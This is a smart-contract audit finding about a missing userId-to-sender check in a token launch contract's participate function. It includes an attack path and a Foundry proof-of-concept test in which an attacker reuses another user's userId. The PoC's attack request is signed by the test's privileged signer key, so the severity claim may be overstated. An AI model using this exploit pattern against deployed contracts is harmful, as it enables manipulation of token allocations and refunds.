Scrawny Gingham Cyborg

High

# Malicious actor can steal another user's tokens

### Summary

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L215-L305

There is a missing check if `request.userId` corresponds to msg.sender in participate function. A malicious actor can monitor transactions, use the same userId and add another user's tokens in `userTokens` mapping as his own which will artificially inflate token amount.

### Root Cause

There is a missing check for `request.userId` <-> msg.sender in participate function.

```solidity
    function participate(ParticipationRequest calldata request, bytes calldata signature)
        external
        nonReentrant
        whenNotPaused
        onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
    {
        // Validate request is intended for this launch and unexpired
        _validateRequest(
            request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
        );
        LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];

        // Validate launch group is open for participation
        _validateTimestamp(settings);

        // Validate request signature is from signer role
        _validateRequestSignature(keccak256(abi.encode(request)), signature);

        // Validate payment currency is enabled for launch group
        uint256 tokenPriceBps = _validateCurrency(request.launchGroupId, request.currency);

        // Do not allow replay of launch participation ID
        if (launchGroupParticipations[request.launchParticipationId].userId != bytes32(0)) {
            revert ParticipationAlreadyExists(request.launchParticipationId);
        }

        // If launch group does not finalize at participation, users should perform updates instead
        // This is checked by checking if the user has already requested tokens under the launch group
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount > 0) {
            if (!settings.finalizesAtParticipation) {
                revert MaxUserParticipationsReached(request.launchGroupId, request.userId);
            }
        }

        // Validate user requested token amount is within launch group user allocation limits
        uint256 newUserTokenAmount = userTokenAmount + request.tokenAmount;
        if (newUserTokenAmount > settings.maxTokenAmountPerUser) {
            revert MaxUserTokenAllocationReached(
                request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
            );
        }
        if (newUserTokenAmount < settings.minTokenAmountPerUser) {
            revert MinUserTokenAllocationNotReached(
                request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
            );
        }

        // Calculate payment amount in requested currency based on token price and requested token amount
        uint256 currencyAmount = _calculateCurrencyAmount(tokenPriceBps, request.tokenAmount);

        // Store participation info for user
        ParticipationInfo storage info = launchGroupParticipations[request.launchParticipationId];

        // If launch group finalizes at participation, the participation is considered complete and not updatable
        if (settings.finalizesAtParticipation) {
            // Validate launch group max token allocation has not been reached
            (, uint256 currTotalTokensSold) = _tokensSoldByLaunchGroup.tryGet(request.launchGroupId);
            if (settings.maxTokenAllocation < currTotalTokensSold + request.tokenAmount) {
                revert MaxTokenAllocationReached(request.launchGroupId);
            }
            // Update total withdrawable amount for payment currency
            (, uint256 withdrawableAmount) = _withdrawableAmountByCurrency.tryGet(request.currency);
            _withdrawableAmountByCurrency.set(request.currency, withdrawableAmount + currencyAmount);
            // Mark participation as finalized
            info.isFinalized = true;
            // Update total tokens sold for launch group
            _tokensSoldByLaunchGroup.set(request.launchGroupId, currTotalTokensSold + request.tokenAmount);
        }
        // Set participation details for user
        info.userAddress = msg.sender;
        info.userId = request.userId;
        info.tokenAmount = request.tokenAmount;
        info.currencyAmount = currencyAmount;
        info.currency = request.currency;

        // Update total tokens requested for user for launch group
        userTokens.set(request.userId, newUserTokenAmount);
        // Transfer payment currency from user to contract
        IERC20(request.currency).safeTransferFrom(msg.sender, address(this), currencyAmount);

        emit ParticipationRegistered(
            request.launchGroupId,
            request.launchParticipationId,
            request.userId,
            msg.sender,
            currencyAmount,
            request.currency
        );
    }
```

### Internal Pre-conditions

1. Manager should set launch group's status to ACTIVE
2. A random user should call participate function before the malicious user

### External Pre-conditions

-

### Attack Path

1. A random users calls participate function
2. A malicious user observes the transaction and creates a ParticipationRequest with same userId
3. Execution is succesfull and user info is altered with malicious user's address and random user's userId

### Impact

The malicious user can use this to bypass max allocation check.

```solidity
...
EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount > 0) {
            if (!settings.finalizesAtParticipation) {
                revert MaxUserParticipationsReached(request.launchGroupId, request.userId);
            }
        }

        // Validate user requested token amount is within launch group user allocation limits
        uint256 newUserTokenAmount = userTokenAmount + request.tokenAmount;
        if (newUserTokenAmount > settings.maxTokenAmountPerUser) {
            revert MaxUserTokenAllocationReached(
                request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
            );
        }
...
```

Also, it can lead to loss of funds in claimRefund function.

### PoC

Add the following function in LaunchTestBase.t.sol file:

```solidity
function _createParticipationRequestWithParameters(bytes32 userId, bytes32 participationId, address userAddress, uint256 tokenAmount) 
        internal 
        view 
        returns (ParticipationRequest memory) 
    {
        return ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: participationId,
            userId: userId,
            userAddress: userAddress,
            tokenAmount: tokenAmount * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
```

Add the following test case in Launch.Participate.t.sol file:

```solidity
function test_Participate_WithAnotherUserIdAndStealTokens() public {
        // Setup new launch group
        bytes32 launchGroupId = bytes32(uint256(1));
        LaunchGroupSettings memory settings = _setupLaunchGroupWithStatus(launchGroupId, LaunchGroupStatus.PENDING);
        settings.finalizesAtParticipation = true;
        vm.startPrank(manager);
        launch.setLaunchGroupSettings(launchGroupId, settings);
        launch.setLaunchGroupStatus(launchGroupId, LaunchGroupStatus.ACTIVE);
        vm.stopPrank();

        // Prepare participation request
        ParticipationRequest memory request = _createParticipationRequestWithParameters(testUserId, testLaunchParticipationId, user1, 1000);
        request.launchGroupId = launchGroupId;
        bytes memory signature = _signRequest(abi.encode(request));

        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
        currency.approve(address(launch), currencyAmount);

        // Expect ParticipationRegistered event
        vm.expectEmit();
        emit ParticipationRegistered(
            request.launchGroupId, request.launchParticipationId, testUserId, user1, currencyAmount, address(currency)
        );

        // Participate
        launch.participate(request, signature);

        vm.stopPrank();

        // Verify participation
        ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
        assertEq(info.userAddress, user1);
        assertEq(info.userId, testUserId);
        assertEq(info.tokenAmount, request.tokenAmount);
        assertEq(info.currencyAmount, currencyAmount);
        assertEq(info.currency, address(currency));
        assertEq(info.isFinalized, true);

        // NOTE: Participate with another address but same userId as user1
        address maliciousUser = address(99);
        uint256 tokenAmount = 10;

        vm.startPrank(admin.addr);
        currency.transfer(maliciousUser, tokenAmount * 10 ** launch.tokenDecimals());
        vm.stopPrank();

        bytes32 _participationId = "cm6o2sldi00003b74facm5z9m";

        vm.startPrank(maliciousUser);

        ParticipationRequest memory maliciousRequest = _createParticipationRequestWithParameters(testUserId, _participationId, maliciousUser, tokenAmount);
        maliciousRequest.launchGroupId = launchGroupId;
        bytes memory maliciousSignature = _signRequest(abi.encode(maliciousRequest));

        uint256 currencyAmount2 = _getCurrencyAmount(maliciousRequest.launchGroupId, maliciousRequest.currency, maliciousRequest.tokenAmount);
        currency.approve(address(launch), currencyAmount2);

        vm.expectEmit();
        emit ParticipationRegistered(
            maliciousRequest.launchGroupId, maliciousRequest.launchParticipationId, testUserId, maliciousUser, currencyAmount2, address(currency)
        );

        launch.participate(maliciousRequest, maliciousSignature);

        vm.stopPrank();

        assertEq(launch.getUserTokensByLaunchGroup(request.launchGroupId, testUserId), request.tokenAmount + maliciousRequest.tokenAmount);
    }
```

### Mitigation

Add a appropriate mapping which checks if `request.userId` corresponds to the msg.sender.